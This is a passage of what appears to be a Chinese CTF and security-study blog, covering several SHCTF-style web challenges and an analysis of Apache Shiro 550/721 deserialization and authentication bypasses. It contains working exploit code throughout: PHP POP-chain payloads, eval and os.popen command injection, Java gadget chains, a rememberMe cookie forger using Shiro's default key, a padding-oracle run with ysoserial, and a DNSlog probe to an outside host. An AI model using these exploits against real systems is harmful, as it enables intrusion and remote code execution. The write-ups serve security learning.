}
var_dump($___);
echo @call_user_func($_, ...$___);
}

这里的invoke里面会将get提交的参数传给$,这个具体是一个数组,后面就会删除h_in.t参数值,所以$的值就是我们可以控制的了,下面就可以直接传参来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class a{
public $OAO;
public $QAQ;
public $OVO="hello";
}

class b{
public $pap;
public $vqv;
}
class c{
public $OOO="exec";
}
class d{
public $UUU;
public $uuu;
}
$a=new d();
$a->UUU=new a();
$a->UUU->OAO=new b();
$a->UUU->OAO->pap=new c();
echo serialize($a);
//O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:4:"exec";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;}
?>

如果上传一个字母参数就会不成功,这里可能是因为…$_的原因,但时直接参数数字就可以了,也是尝试了很久还以为又出错了

1
?h[in.t=O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:4:"exec";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:5:"hello";}s:3:"uuu";N;}&1=cat /*

Misc-Sign

这个就很简单了,就是一个base16解码得flag

Easy

这个题考RC4,给了key解码flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def rc4(key):
key_length = len(key)
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i % key_length])) % 256
s[i], s[j] = s[j], s[i]
return s

def rc4_decrypt(ciphertext, key):
key_length = len(key)
s = rc4(key)
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
x = (s[i] + s[j]) % 256
plaintext.append(byte ^ s[x])
return plaintext

# 密钥
key = "hello world"

# 密文(十六进制字符串)
ciphertext_hex = [
"d8d2", "963e", "0d8a", "b853", "3d2a", "7fe2", "96c5", "2923",
"3924", "6eba", "0d29", "2d57", "5257", "8359", "322c", "3a77",
"892d", "fa72", "61b8", "4f"
]

# 将十六进制字符串转换为字节
ciphertext = bytes.fromhex(''.join(ciphertext_hex))

# 解密
plaintext_bytes = rc4_decrypt(ciphertext, key)

# 将字节序列转换为字符串
try:
flag = ''.join(chr(byte) for byte in plaintext_bytes)
print("Flag:", flag)
except UnicodeEncodeError as e:
print("Flag contains non-UTF-8 characters:", plaintext_bytes)

Shiro550

前置知识

漏洞形成原因,在shiro550的版本里面存在通过cookie值来存储信息的方式,而cookie的形成的原因是通过特殊的加密手段,加密的信息为一个字节流,在获取cookie中信息时会进行一次反序列化

环境布置

首先下载好maven项目

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

将下载好的文件目录下的samples下的web以mvn项目的方式导入

再添加解析jsp的maven依赖即可

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

再配置tomcat环境即可,配置完成后运行即可

漏洞分析&利用

在shiro中存在一个对cookie的处理机制,当我们点击remember me是就会在响应的报文中生成一个rememberme的数据,而这里就是触发反序列化的关键,由于rememberme的字段过长可能存放某种信息,初步判断是通过某种加密的字符流,所以可能会存在反序列化点

下面就可以去找找哪里是创建cookie的方法,这个是shiro包下的并且与cookie有关,直接搜索就可以大致的看到有一个类叫CookieRememberMeManager,它比较符合

这里主要看它的两个方法,一个是用来生成加密的信息,一个是用来解密信息

加密信息

首先看CookieRememberMeManager的rememberSerializedIdentity,它生成了一个cookie,这里是最后通过base64编码了一个cookie值,我们可以去查看哪里调用了rememberSerializedIdentity,看看是否还有加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}


HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);

//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);

Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}

来到AbstractRememberMeManager的rememberIdentity,继续跟进看看bytes属性是如何形成的

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

看到convertPrincipalsToBytes方法,这里是先序列化了字节流,通过一个if语句对其进行加密

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

进encrypt函数再进入cipherService.encrypt()里面

1
2
3
4
5
6
7
8
9
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}

这里是一个接口,应该是通过encrytionKey对其进行加密,而这里的key是通过getEncryptionCipherKey方法获取

1
2
3
public byte[] getEncryptionCipherKey() {
return encryptionCipherKey;
}

这里继续查看哪里对encryptionCipherKey进行了赋值操作,找到setEncryptionCipherKey函数

1
2
3
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}

进行找到setCipherKey调用了setEncryptionCipherKey方法,这里继续

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

最终到了其构造方法里面对其进行赋值 DEFAULT_CIPHER_KEY_BYTES是一个常量

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

这里总结一下,对于shiro的remamberme的创建是通过固定的key来进行aes加密序列化的字节流,对于解密应该就是相反的操作,解密+反序列化

解密信息

还是看CookieRememberMeManager类

这里有一个getRememberedSerializedIdentity方法里面用来接收cookie,并且进行base64解码操作,这里我们就可以进行看在解码后会进行什么操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}

WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}

HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);

String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

这里还是一样需要查看调用的逻辑,所以看哪里调用了getRememberedSerializedIdentity方法,来到AbstractRememberMeManager的getRememberedPrincipals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

这里就可以看到在对字节流进行base64解码后它进行了一个if操作这里跟进去看看里面的逻辑

1
2
3
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}

在convertBytesToPrincipals一看就比较的清楚了,这里先对其进行解码操作后面再进行反序列操作

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

看到它这里的getDecryptionCipherKey()和上面的key的获取是相同的,主要看后面的deserialize方法的操作

1
2
3
4
5
6
7
8
9
10
11
12
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return getSerializer().deserialize(serializedIdentity);
}

通过调试就可以发现最后的反序列化点到了DefaultSerializer的deserialize方法里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

这里就可以发现调用了readObject方法

下面就可以先尝试dnslog链来执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class dnslog {
public static void serialized(Object oss)throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dnslog1.bin"));
oos.writeObject(oss);
}

public static void main(String[] args) throws Exception {
URL url = new URL("https://337kwi.dnslog.cn/");
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.setInt(url, 100);
HashMap<URL,Object> map=new HashMap<>();
map.put(url,null);
hashCode.setInt(url, -1);
serialized(map);
}
}

生成的dnslog1.bin通过python脚本进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys
import uuid
import base64
from Crypto.Cipher import AES

def encode_rememberme(file):
f = open(file,'rb')
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
file=input("请输入文件名")
payload = encode_rememberme(file)
print("rememberMe={0}".format(payload.decode()))

这里最后就可以去查看记录,发现成功触发

漏洞利用

这里一般也是与其它依赖配合用的,首先打cc依赖,但是如果用常规的cc链的exp来打发现会出现问题,这里会显示无法加载类

这里就直接分析原因了,在上面我们找到了反序列化的点,但是这里不是直接进行反序列化的,它是通过调用了ClassResolvingObjectInputStream的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

这里需要注意一点,在反序列化中会自动的调用resolveClass来进行类加载,这里的ClassResolvingObjectInputStream就重写了resolveClass,里面和常规的resolveClass是由区别的

1
2
3
4
5
6
7
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}

与ObjectInputStream类来进行比较,一般的类加载都是通过Class.forName来进行,所以就是这里的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

继续跟进看ClassUtils.forName,这里进行了双亲委派的方式进行类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static Class forName(String fqcn) throws UnknownClassException {

Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);

if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn +
"] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}

if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " +
"Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}

if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
"system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
}

return clazz;
}

这里如果遇到数组就会进行报错加载不到,所以就需要通过没有数组的方式来打shiro,常规的方法就是通过commons-collections4的依赖打cc2链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer<Object,Object> invokerTransformer=new InvokerTransformer("toString",new Class[0],new Object[0]);
TransformingComparator aaa=new TransformingComparator(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue(aaa);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c=invokerTransformer.getClass();
Field iMethodNam = c.getDeclaredField("iMethodName");
iMethodNam.setAccessible(true);
iMethodNam.set(invokerTransformer,"newTransformer");
serialize(priorityQueue,"CC2.bin");
unserialize("CC2.bin");
}

这里也可以通过commons-collections3的依赖来打,需要通过多条链子来拼接实现,下面是exp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
HashMap<Object,Object> map=new HashMap<Object,Object>();
Map<Object,Object> q= LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedmapentry=new TiedMapEntry(q,templates);
HashMap<Object,Object> o = new HashMap<>();
o.put(tiedmapentry,"aaa");
Class c=q.getClass();//反射来进行修改factory属性
Field LazyMapfactory = c.getDeclaredField("factory");
LazyMapfactory.setAccessible(true);
LazyMapfactory.set(q,invokerTransformer);
q.remove(templates);
serialized(o,"exp.bin");
unserialized("exp.bin");
}

CB**链打shiro550**

在shiro550中是自带cb依赖的,所以可以直接通过CB链来打,成功命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);//D://java/test.class
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator outputProperties = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue priorityQueue = new PriorityQueue<>(1, new TransformingComparator(new ConstantTransformer(1)));
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c=priorityQueue.getClass();
Field comparator1 = c.getDeclaredField("comparator");
comparator1.setAccessible(true);
comparator1.set(priorityQueue, outputProperties);
serialized(priorityQueue,"CB1.bin");
unserialized("CB1.bin");
}

Shiro721

前置知识

在Shiro550后又出现了Shiro721,这个版本是在shiro550后面的升级版主要体现在对cookie的加密处理的问题上,Shiro550采用固定的key加密,而在721的版本里面所采用的是AES-128-CBC加密模式有办法直接进行伪造cookie值加密,并采用了PKCS#5的Padding模式,并且当存在一个有效身份认证时响应包里不会有rememberMe=deleteMe,但是当出现Padding错误时会出现,而Java的反序列化即使后面存在莫名奇妙的数据也不影响前面的反序列化,这就导致了如果在一个有效身份认证之后拼接一段数据,仍然能够成功认证,进而就意味着如果后面一段数据不满足Padding规则,就会出现deleteMe,满足则不出现。这样便符合了Padding-Oracle-Attack的条件,黑客能够通过这种攻击,构造明文为任意内容的密文,当然因为这里有反序列化,黑客自然会构造能够解密出恶意序列化Payload的密文

解密的流程图

先又一个初始化向量,将要解密的密文通过随机key进行加密,最后与初始化的向量进行异或

1
2
加密:(明文P ^ 前一组密文C0) -> 中间值M - - -(块加密)- - -> 本组密文C1
解密: 本组密文C1 –(块解密)—> 中间值M - - -(M ^ 前一组密文C0)- - -> 本组明文P

在Padding Oracle 规则里面有一个填充规则,在进行分组时,如果是按照八字节一组的话,如果一个组的数据不够八个的话就会进行填充0x01-0x08,刚好八个就再补一组

1
2
3
4
1 0x07 0x07 0x07 0x07 0x07 0x07 0x07
1 2 0x06 0x06 0x06 0x06 0x06 0x06
如果刚好为8个字节
1 1 1 1 1 1 1 1 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08

这样如果解密的结果最后面的不是和这里的规律就判断解码失败

系统判断解密是否成功的点是解密后明文点最后一位或者几位的值跟aes算法中的分组逻辑是否匹配,匹配才能解码成功

1
2
如果进行了明文填充,那么最后一位的值一定是小于0x08且大于0x01的。
如果没有进行明文填充而直接额外加了一个组,那么最后一位的值一定是0x08

系统也是通过最后一组的填充物来进行判断,如果满足就不会报错,否则就会报错

环境配置

1
2
3
4
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

这里

下面进行抓包处理

通过脚本进行跑

1
2
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/luokuang" > payload.class
python2 shiro_exp.py http://192.168.1.4:8080/account/ tb8fuL5X0bMsugSunKfvTcFazFarSYApxv1uqaeF5oqK4KGJ/CLZSreLMvaDSiXgDglXXZmEVSS1QVemgazCMpk76FLbCTUEvXV/eCfO7TSlSsFdJHd8lAHAJnsUddgxgBYEA3IiF4eeTRroPo2T2C7t/IMNb4kQAioo80CFODzCPMuiFJ0uS0/Pjv7eVg7RDeNGeXnmXt8/CKnBNfRrWfSld2w7LQXPbSE25wglPa/op0Jct2SvXC3Br0m40Y8m0CmbkPH3zhPg33N7mGc9H8zzLhcNuohbmug9hlGDDKNO/RZe9fsad4ydxk/2MdY1eqPLdsxZfNqWfC5AAhE8OK0HLKr9iBB7MHZ3kmSnDhcyF1e0M7iOFixXERC/MkgnOfWBDwz+CjoRZBZS44cY0vdefMLh0sVz3yQ8q7yFNicwN59DzHql6mSW+OJfthPFdzJB3Io+nlY17numQNK1l8WvlmK7fUj9kVXhRfV7Wv1FEfQdXs2+yaoT9uo7SFNw payload.class

执行成功

shiro身份认证机制绕过

1
2
3
4
5
6
7
8
9
10
11
12
CVE-2020-1957
客户端请求URL: /xxx/..;/admin/
Shrio 内部处理得到校验URL为 /xxxx/..,校验通过
SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。
CVE-2020-11989
客户端请求URL: /;/test/admin/page
Shrio 内部处理得到校验URL为/,校验通过
SpringBoot最终请求 /admin/page, 成功访问了后台请求。
CVE-2020-13933
客户端请求URL:/admin/;page
Shrio 内部处理得到校验URL为/admin/,校验通过
SpringBoot最终请求 /admin/;page, 成功访问了后台请求。

主要是用到在apache与shiro对于url解析的差异

在shiro中处理url的方法是通过将;号表示结束,这里就导致一种解析差异,可以用于绕过,访问需要身份认证的路由

1
2
/;/admin
在shiro中只会解析为/,但是在apache处理时就会将/admin拼接到路由里面,导致直接访问/admin

[Week1] 1zflask

题目提示robots,直接访问robots.txt即可获得/s3recttt,下载app.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import flask
from flask import Flask, request, send_from_directory, send_file

app = Flask(__name__)

@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result

@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')

@app.route('/s3recttt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

if __name__ == '__main__':
app.run(debug=True)

直接访问/api即可进行rce

1
/api?SSHCTFF=cat /*

[Week1] MD5 Master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}

md5强碰撞绕过即可,这里需要碰撞前的字符串为MD5 master!,这样就可以达到绕过,通过bp提交即可

1
master1=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%21%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8WL%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0BEsbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%97%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%88%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CEY%D3tck&master2=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%A1%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8%D7L%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0B%C5sbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%17%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%08%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CE%D9%D3tck

[Week1] ez_gittt

git泄露,直接通过GitHack来查看即可

1
2
python2 GitHack.py http://210.44.150.15:47817/.git/
git show

[Week1] jvav

这个题要通过java来执行系统命令来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class demo {

public static void main(String[] args) {
// 创建ProcessBuilder对象,传入"ls"命令
ProcessBuilder processBuilder = new ProcessBuilder("ls","/");

try {
// 启动进程
Process process = processBuilder.start();

// 使用BufferedReader读取进程的输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
// 打印输出结果
System.out.println(line);
}
reader.close();

// 等待进程结束,并获取退出值
int exitCode = process.waitFor();
if (exitCode == 0) {
System.out.println("Command executed successfully.");
} else {
System.out.println("Command execution failed with exit code: " + exitCode);
}

} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
// 重新设置中断标志
Thread.currentThread().interrupt();
e.printStackTrace();
}
}
}

[Week1] poppopop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {

($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}

这个就是一个序列化题,没有什么好讲的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou="system";
public $flag="cat /*";
}
$a=new T();
$a->n=new F();
$a->n->o=new C();
$a->n->o->p=new SHCTF();
echo base64_encode(serialize($a));
TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo2OiJjYXQgLyoiO319fX0=

[Week1] 单身十八年的手速

查看game.js直接寻找最后的base编码得flag

[Week1] 蛐蛐?蛐蛐!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");

}
else{
echo("呜呜呜fault还是要出题");
}

这里直接通过提交ququ=114514a即可绕过第一个if,后面的if需要ququk1开头,但是直接拼接命令再后面即可,报错但是会执行

1
ququ=ququk1;system('cat /*');

[Week2]MD5 GOD!

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from flask import *
import hashlib, os, random

app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)

def md5(data):
return hashlib.md5(data).hexdigest().encode()

def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

def getRandom(str_length=16):
"""
生成一个指定长度的随机字符串
"""
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(str_length):
random_str +=base_str[random.randint(0, length)]
return random_str

users = {}
sign_users = {}

@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
